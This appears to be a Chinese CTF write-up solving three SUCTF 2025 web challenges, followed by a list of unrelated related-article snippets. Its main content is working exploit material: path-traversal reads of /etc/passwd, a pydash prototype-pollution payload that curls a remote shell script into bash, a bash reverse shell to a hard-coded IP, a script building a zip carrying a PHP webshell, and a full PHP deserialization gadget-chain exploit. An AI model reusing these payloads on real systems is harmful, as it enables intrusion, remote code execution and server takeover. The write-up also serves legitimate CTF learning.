【Web】2025-SUCTF个人wp
目录
SU_blog
SU_photogallery
SU_POP
SU_blog
先是注册功能覆盖admin账号

以admin身份登录,拿到读文件的权限
./article?file=articles/..././..././..././..././..././..././etc/passwd

./article?file=articles/..././..././..././..././..././..././proc/1/cmdline

./article?file=articles/..././app.py
读到源码
from flask import *
import time, os, json, hashlib
from pydash import set_
from waf import pwaf, cwafapp = Flask(__name__)
app.config['SECRET_KEY'] = hashlib.md5(str(int(time.time())).encode()).hexdigest()users = {"testuser": "password"}
BASE_DIR = '/var/www/html/myblog/app'
articles = {1: "articles/article1.txt",2: "articles/article2.txt",3: "articles/article3.txt"
}
friend_links = [{"name": "bkf1sh", "url": "https://ctf.org.cn/"},{"name": "fushuling", "url": "https://fushuling.com/"},{"name": "yulate", "url": "https://www.yulate.com/"},{"name": "zimablue", "url": "https://www.zimablue.life/"},{"name": "baozongwi", "url": "https://baozongwi.xyz/"},
]class User():def __init__(self):passuser_data = User()@app.route('/')
def index():if 'username' in session:return render_template('blog.html', articles=articles, friend_links=friend_links)return redirect(url_for('login'))@app.route('/login', methods=['GET', 'POST'])
def login():if request.method == 'POST':username = request.form['username']password = request.form['password']if username in users and users[username] == password:session['username'] = usernamereturn redirect(url_for('index'))else:return "Invalid credentials", 403return render_template('login.html')@app.route('/register', methods=['GET', 'POST'])
def register():if request.method == 'POST':username = request.form['username']password = request.form['password']users[username] = passwordreturn redirect(url_for('login'))return render_template('register.html')@app.route('/change_password', methods=['GET', 'POST'])
def change_password():if 'username' not in session:return redirect(url_for('login'))if request.method == 'POST':old_password = request.form['old_password']new_password = request.form['new_password']confirm_password = request.form['confirm_password']if users[session['username']] != old_password:flash("Old password is incorrect", "error")elif new_password != confirm_password:flash("New passwords do not match", "error")else:users[session['username']] = new_passwordflash("Password changed successfully", "success")return redirect(url_for('index'))return render_template('change_password.html')@app.route('/friendlinks')
def friendlinks():if 'username' not in session or session['username'] != 'admin':return redirect(url_for('login'))return render_template('friendlinks.html', links=friend_links)@app.route('/add_friendlink', methods=['POST'])
def add_friendlink():if 'username' not in session or session['username'] != 'admin':return redirect(url_for('login'))name = request.form.get('name')url = request.form.get('url')if name and url:friend_links.append({"name": name, "url": url})return redirect(url_for('friendlinks'))@app.route('/delete_friendlink/')
def delete_friendlink(index):if 'username' not in session or session['username'] != 'admin':return redirect(url_for('login'))if 0 <= index < len(friend_links):del friend_links[index]return redirect(url_for('friendlinks'))@app.route('/article')
def article():if 'username' not in session:return redirect(url_for('login'))file_name = request.args.get('file', '')if not file_name:return render_template('article.html', file_name='', content="未提供文件名。")blacklist = ["waf.py"]if any(blacklisted_file in file_name for blacklisted_file in blacklist):return render_template('article.html', file_name=file_name, content="大黑阔不许看")if not file_name.startswith('articles/'):return render_template('article.html', file_name=file_name, content="无效的文件路径。")if file_name not in articles.values():if session.get('username') != 'admin':return render_template('article.html', file_name=file_name, content="无权访问该文件。")file_path = os.path.join(BASE_DIR, file_name)file_path = file_path.replace('../', '')try:with open(file_path, 'r', encoding='utf-8') as f:content = f.read()except FileNotFoundError:content = "文件未找到。"except Exception as e:app.logger.error(f"Error reading file {file_path}: {e}")content = "读取文件时发生错误。"return render_template('article.html', file_name=file_name, content=content)@app.route('/Admin', methods=['GET', 'POST'])
def admin():if request.args.get('pass') != "SUers":return "nonono"if request.method == 'POST':try:body = request.jsonif not body:flash("No JSON data received", "error")return jsonify({"message": "No JSON data received"}), 400key = body.get('key')value = body.get('value')if key is None or value is None:flash("Missing required keys: 'key' or 'value'", "error")return jsonify({"message": "Missing required keys: 'key' or 'value'"}), 400# Additional logic to handle key-value pairs can be added here.except Exception as e:flash(f"Error: {str(e)}", "error")return jsonify({"message": f"Error: {str(e)}"}), 500return render_template('admin.html')
/Admin路由一眼打pydash原型链污染
污染什么呢,可以污染render_template
参考CTFtime.org / idekCTF 2022* / task manager / Writeup
打入
{"key":"__class__.__init__.__globals__.__builtins__.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2","value":"*;__import__('os').system('curl http://27.25.151.98:1338/shell.sh | bash');#"}

放个恶意shell文件到vps上
bash -c "bash -i >& /dev/tcp/27.25.151.98/1339 0>&1"
随便访问渲染模板的页面,成功反弹shell

SU_photogallery



结合“测试”的提示&404特征辨别题目服务是php -S启动的
存在一个任意文件读取漏洞
PHP Development Server <= 7.4.21 - Remote Source Disclosure — ProjectDiscovery Blog
去读一下unzip.php

bp把自动更新长度关掉


<?php
/** @Author: Nbc* @Date: 2025-01-13 16:13:46* @LastEditors: Nbc* @LastEditTime: 2025-01-13 16:31:53* @FilePath: \src\unzip.php* @Description: * * Copyright (c) 2025 by Nbc, All Rights Reserved. */
error_reporting(0);function get_extension($filename){return pathinfo($filename, PATHINFO_EXTENSION);
}
function check_extension($filename,$path){$filePath = $path . DIRECTORY_SEPARATOR . $filename;if (is_file($filePath)) {$extension = strtolower(get_extension($filename));if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {if (!unlink($filePath)) {// echo "Fail to delete file: $filename\n";return false;}else{// echo "This file format is not supported:$extension\n";return false;}}else{return true;}
}
else{// echo "nofile";return false;
}
}
function file_rename ($path,$file){$randomName = md5(uniqid().rand(0, 99999)) . '.' . get_extension($file);$oldPath = $path . DIRECTORY_SEPARATOR . $file;$newPath = $path . DIRECTORY_SEPARATOR . $randomName;if (!rename($oldPath, $newPath)) {unlink($path . DIRECTORY_SEPARATOR . $file);// echo "Fail to rename file: $file\n";return false;}else{return true;}
}function move_file($path,$basePath){foreach (glob($path . DIRECTORY_SEPARATOR . '*') as $file) {$destination = $basePath . DIRECTORY_SEPARATOR . basename($file);if (!rename($file, $destination)){// echo "Fail to rename file: $file\n";return false;}}return true;
}function check_base($fileContent){$keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info'];$base64_keywords = [];foreach ($keywords as $keyword) {$base64_keywords[] = base64_encode($keyword);}foreach ($base64_keywords as $base64_keyword) {if (strpos($fileContent, $base64_keyword)!== false) {return true;}else{return false;}}
}function check_content($zip){for ($i = 0; $i < $zip->numFiles; $i++) {$fileInfo = $zip->statIndex($i);$fileName = $fileInfo['name'];if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {return false; }// echo "Checking file: $fileName\n";$fileContent = $zip->getFromName($fileName);if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) {// echo "Don't hack me!\n"; return false;}else {continue;}}return true;
}function unzip($zipname, $basePath) {$zip = new ZipArchive;if (!file_exists($zipname)) {// echo "Zip file does not exist";return "zip_not_found";}if (!$zip->open($zipname)) {// echo "Fail to open zip file";return "zip_open_failed";}if (!check_content($zip)) {return "malicious_content_detected";}$randomDir = 'tmp_'.md5(uniqid().rand(0, 99999));$path = $basePath . DIRECTORY_SEPARATOR . $randomDir;if (!mkdir($path, 0777, true)) {// echo "Fail to create directory";$zip->close();return "mkdir_failed";}if (!$zip->extractTo($path)) {// echo "Fail to extract zip file";$zip->close();}else{for ($i = 0; $i < $zip->numFiles; $i++) {$fileInfo = $zip->statIndex($i);$fileName = $fileInfo['name'];if (!check_extension($fileName, $path)) {// echo "Unsupported file extension";continue;}if (!file_rename($path, $fileName)) {// echo "File rename failed";continue;}}}if (!move_file($path, $basePath)) {$zip->close();// echo "Fail to move file";return "move_failed";}rmdir($path);$zip->close();return true;
}$uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/suimages/';
if (!is_dir($uploadDir)) {mkdir($uploadDir, 0777, true);
}if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {$uploadedFile = $_FILES['file'];$zipname = $uploadedFile['tmp_name'];$path = $uploadDir;$result = unzip($zipname, $path);if ($result === true) {header("Location: index.html?status=success");exit();} else {header("Location: index.html?status=$result");exit();}
} else {header("Location: index.html?status=file_error");exit();
}
注意到这段代码

因为是先解压再检验文件后缀,所以可以用解压失败来绕过
zip在CTF-web方向中的一些用法 - 个人学习分享
用这段脚本生成恶意zip文件
import zipfile
import io# 创建一个 BytesIO 对象来存储压缩文件内容
mf = io.BytesIO()# 使用 zipfile 创建一个 ZIP 文件
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:# 向 ZIP 文件中写入恶意 PHP 文件zf.writestr('exp.php', b'<?php ($_GET[1])($_POST[2]);?>')# 向 ZIP 文件中写入一个文件名为 'A' * 5000 的文件,内容为 'AAAAA'zf.writestr('A' * 5000, b'AAAAA')# 将生成的 ZIP 文件写入磁盘
with open("shell.zip", "wb") as f:f.write(mf.getvalue())
上传成功

访问RCE
SU_POP
看到反序列化入口

先是找入口点,全局搜__destruct,看到RejectedPromise这个类对handler、reason可控,可以拼接message触发__toString

再找sink,全局搜eval(
找到一个比较干净的触发eval的类

再全局搜__toString

stream可控,可以触发__call
全局搜__call

从_methodMap中取一组数据,配合_loaded,可以调用任意类的任意方法,最后走到sink

链子
RejectedPromise#__destruct -> Response#__toString -> Table#__call ->BehaviorRegistry#call -> MockClass#generate
exp:
<?php
namespace PHPUnit\Framework\MockObject\Generator;class MockClass
{public $classCode;public $mockName;public function __construct() {$this->classCode ="system('curl http://27.25.151.98:1338/shell.sh | bash');";$this->mockName = "Z3r4y";}
}namespace Cake\ORM;use PHPUnit\Framework\MockObject\Generator\MockClass;class BehaviorRegistry
{public $_methodMap;public $_loaded;public function __construct() {$this->_methodMap = ["rewind" => ["Z3r4y", "generate"]];$this->_loaded = ["Z3r4y" => new MockClass()];}
}class Table
{public $_behaviors;public function __construct() {$this->_behaviors = new BehaviorRegistry();}
}namespace Cake\Http;use Cake\ORM\Table;class Response
{public $stream;public function __construct() {$this->stream = new Table();}
}namespace React\Promise\Internal;use Cake\Http\Response;final class RejectedPromise
{public $reason;public function __construct() {$this->reason = new Response();}
}$a=new RejectedPromise();
echo base64_encode(serialize($a));
往vps上放一个恶意shell脚本
bash -c "bash -i >& /dev/tcp/27.25.151.98/1339 0>&1"
打入:

成功弹上shell


find提权拿flag

相关文章:
【Web】2025-SUCTF个人wp
目录 SU_blog SU_photogallery SU_POP SU_blog 先是注册功能覆盖admin账号 以admin身份登录,拿到读文件的权限 ./article?filearticles/..././..././..././..././..././..././etc/passwd ./article?filearticles/..././..././..././..././..././..././proc/1…...
React进阶之react.js、jsx模板语法及babel编译
React React介绍React官网初识React学习MVCMVVM JSX外部的元素props和内部的状态statepropsstate 生命周期constructorgetDerivedStateFromPropsrendercomponentDidMount()shouldComponentUpdategetSnapshotBeforeUpdate(prevProps, prevState) 创建项目CRA:create-…...
在Linux上如何让ollama在GPU上运行模型
之前一直在 Mac 上使用 ollama 所以没注意,最近在 Ubuntu 上运行发现一直在 CPU 上跑。我一开始以为是超显存了,因为 Mac 上如果超内存的话,那么就只用 CPU,但是我发现 Llama3.2 3B 只占用 3GB,这远没有超。看了一下命…...
R 语言科研绘图第 20 期 --- 箱线图-配对
在发表科研论文的过程中,科研绘图是必不可少的,一张好看的图形会是文章很大的加分项。 为了便于使用,本系列文章介绍的所有绘图都已收录到了 sciRplot 项目中,获取方式: R 语言科研绘图模板 --- sciRplothttps://mp.…...
suctf2025
Suctf2025 --2标识为看的wp,没环境复现了 所有参考资料将在文本末尾标明 WEB SU_photogallery 思路👇 构造一个压缩包,解压出我们想解压的部分,然后其他部分是损坏的,这样是不是就可以让整个解压过程是出错的从而…...
Quinlan C4.5剪枝U(0,6)U(1,16)等置信上限如何计算?
之前看到Quinlan中关于C4.5决策树算法剪枝环节中,关于错误率e置信区间估计,为啥 当E=0时,U(0,1)=0.75,U(0,6)=0.206,U(0,9)=0.143? 而当E不为0时,比如U(1,16)=0.157,如图: 关于C4.5决策树,Quinlan写了一本书,如下: J. Ross Quinlan (Auth.) - C4.5. Programs f…...
计算机组成原理--笔记二
目录 一.计算机系统的工作原理 二.计算机的性能指标 1.存储器的性能指标 2.CPU的性能指标 3.系统整体的性能指标(静态) 4.系统整体的性能指标(动态) 三.进制计算 1.任意进制 > 十进制 2.二进制 <> 八、十六进制…...
麒麟系统中删除权限不够的文件方法
在麒麟系统中删除权限不够的文件,可以尝试以下几种方法: 通过修改文件权限删除 打开终端:点击左下角的“终端”图标,或者通过搜索功能找到并打开终端 。定位文件:使用cd命令切换到文件所在的目录 。修改文件权限&…...
自定义提示确认弹窗-vue
最初可运行代码 弹窗组件代码: (后来发现以下代码可运行,但打包 typescript 类型检查出错,可打包的代码在文末) <template><div v-if"isVisible" class"dialog"><div class&quo…...
运行fastGPT 第五步 配置FastGPT和上传知识库 打造AI客服
运行fastGPT 第五步 配置FastGPT和上传知识库 打造AI客服 根据上一步的步骤,已经调试了ONE API的接口,下面,我们就登陆fastGPT吧 http://xxx.xxx.xxx.xxx:3000/ 这个就是你的fastGPT后台地址,可以在configer文件中找到。 账号是…...
CSS 合法颜色值
CSS 颜色 CSS 中的颜色可以通过以下方法指定: 十六进制颜色带透明度的十六进制颜色RGB 颜色RGBA 颜色HSL 颜色HSLA 颜色预定义/跨浏览器的颜色名称使用 currentcolor 关键字 十六进制颜色 用 #RRGGBB 规定十六进制颜色,其中 RR(红色&…...
Redis - General - 未授权访问漏洞(用户配置问题)
0x01:产品简介 Redis(Remote Dictionary Service,远程数据服务),是一款开源的基于内存的键值对存储系统,其主要被用作高性能缓存服务器使用(比如作为消息中间件和用于 Session 共享)…...
解决 WSL 2 中 Ubuntu 22.04 安装 Docker 后无法启动的问题
问题场景 安装Docker后,执行sudo service docker start启动Docker,提示启动成功 rootDev:~# sudo service docker start * Starting Docker: docker [ OK ]执行su…...
Conda的一些常用命令
以下是Conda的一些常用命令: pip freeze > requirements.txt pip install -r requirements.txt 基本信息查看类 查看conda版本: conda -V 或 conda --version 可以查看当前安装的conda版本。 查看conda帮助信息: conda -h 或 conda --he…...
AI 大爆发时代,音视频未来路在何方?
AI 大模型突然大火了 回顾2024年,计算机领域最大的变革应该就是大模型进一步火爆了。回顾下大模型的发展历程: 萌芽期:(1950-2005) 1956年:计算机专家约翰麦卡锡首次提出“人工智能”概念,标志…...
Invicti-Professional-V25.1
01 更新介绍 此更新包括对内部代理的更改。内部扫描代理的当前版本为 25.1.0。内部身份验证验证程序代理的当前版本为 25.1.0。#新功能现在,单击扫描摘要屏幕中的预设扫描图标会将您重定向到具有过滤视图的 “最近扫描” 页面,从而改进导航和对相关扫描…...
【版图设计】2025年 最新 Cadence Virtuoso IC617 虚拟机环境配置全过程 集成电路版图设计环境配置
一、Cadence Virtuoso IC617 是什么? Cadence Virtuoso 是一个电子设计自动化(EDA)工具,主要用于集成电路(IC)的设计和仿真,尤其是在模拟、混合信号和射频(RF)电路设计领…...
Python基本概念与实践
Python语言,总给我一种“嗯?还能这么玩儿?”的感觉 Python像一个二三十岁的年轻人,自由、年轻、又灵活 欢迎一起进入Python的世界~ 本人工作中经常使用Python,针对一些常用的语法概念进行持续记录。 目录 一、类与常…...
# [Unity] 【游戏开发】获取物体和组件的脚本方法
在Unity开发中,获取游戏物体(GameObject)及其组件(Component)是脚本编程的核心技能。本文将详细介绍如何在脚本中访问游戏物体及其组件,深入讲解常用的获取方法及优化策略,以帮助开发者高效编写Unity脚本。 1. 理解游戏物体与组件的关系 游戏物体(GameObject):Unity场…...
10 为什么系统需要引入分布式、微服务架构
java技术的发展 在java开始流行起来之后,主要服务于企业家应用,例如ERP,CRM等等,这些项目是为企业内部员工使用,我们的思维是怎么用设计模式,如何封装代码。让开发人员关注到业务上去,系统也就那么几十几百…...
AI-调查研究-01-正念冥想有用吗?对健康的影响及科学指南
点一下关注吧!!!非常感谢!!持续更新!!! 🚀 AI篇持续更新中!(长期更新) 目前2025年06月05日更新到: AI炼丹日志-28 - Aud…...
MPNet:旋转机械轻量化故障诊断模型详解python代码复现
目录 一、问题背景与挑战 二、MPNet核心架构 2.1 多分支特征融合模块(MBFM) 2.2 残差注意力金字塔模块(RAPM) 2.2.1 空间金字塔注意力(SPA) 2.2.2 金字塔残差块(PRBlock) 2.3 分类器设计 三、关键技术突破 3.1 多尺度特征融合 3.2 轻量化设计策略 3.3 抗噪声…...
Cursor实现用excel数据填充word模版的方法
cursor主页:https://www.cursor.com/ 任务目标:把excel格式的数据里的单元格,按照某一个固定模版填充到word中 文章目录 注意事项逐步生成程序1. 确定格式2. 调试程序 注意事项 直接给一个excel文件和最终呈现的word文件的示例,…...
深入剖析AI大模型:大模型时代的 Prompt 工程全解析
今天聊的内容,我认为是AI开发里面非常重要的内容。它在AI开发里无处不在,当你对 AI 助手说 "用李白的风格写一首关于人工智能的诗",或者让翻译模型 "将这段合同翻译成商务日语" 时,输入的这句话就是 Prompt。…...
51c自动驾驶~合集58
我自己的原文哦~ https://blog.51cto.com/whaosoft/13967107 #CCA-Attention 全局池化局部保留,CCA-Attention为LLM长文本建模带来突破性进展 琶洲实验室、华南理工大学联合推出关键上下文感知注意力机制(CCA-Attention),…...
Xshell远程连接Kali(默认 | 私钥)Note版
前言:xshell远程连接,私钥连接和常规默认连接 任务一 开启ssh服务 service ssh status //查看ssh服务状态 service ssh start //开启ssh服务 update-rc.d ssh enable //开启自启动ssh服务 任务二 修改配置文件 vi /etc/ssh/ssh_config //第一…...
大数据零基础学习day1之环境准备和大数据初步理解
学习大数据会使用到多台Linux服务器。 一、环境准备 1、VMware 基于VMware构建Linux虚拟机 是大数据从业者或者IT从业者的必备技能之一也是成本低廉的方案 所以VMware虚拟机方案是必须要学习的。 (1)设置网关 打开VMware虚拟机,点击编辑…...
Leetcode 3577. Count the Number of Computer Unlocking Permutations
Leetcode 3577. Count the Number of Computer Unlocking Permutations 1. 解题思路2. 代码实现 题目链接:3577. Count the Number of Computer Unlocking Permutations 1. 解题思路 这一题其实就是一个脑筋急转弯,要想要能够将所有的电脑解锁&#x…...
AI编程--插件对比分析:CodeRider、GitHub Copilot及其他
AI编程插件对比分析:CodeRider、GitHub Copilot及其他 随着人工智能技术的快速发展,AI编程插件已成为提升开发者生产力的重要工具。CodeRider和GitHub Copilot作为市场上的领先者,分别以其独特的特性和生态系统吸引了大量开发者。本文将从功…...
(转)什么是DockerCompose?它有什么作用?
一、什么是DockerCompose? DockerCompose可以基于Compose文件帮我们快速的部署分布式应用,而无需手动一个个创建和运行容器。 Compose文件是一个文本文件,通过指令定义集群中的每个容器如何运行。 DockerCompose就是把DockerFile转换成指令去运行。 …...
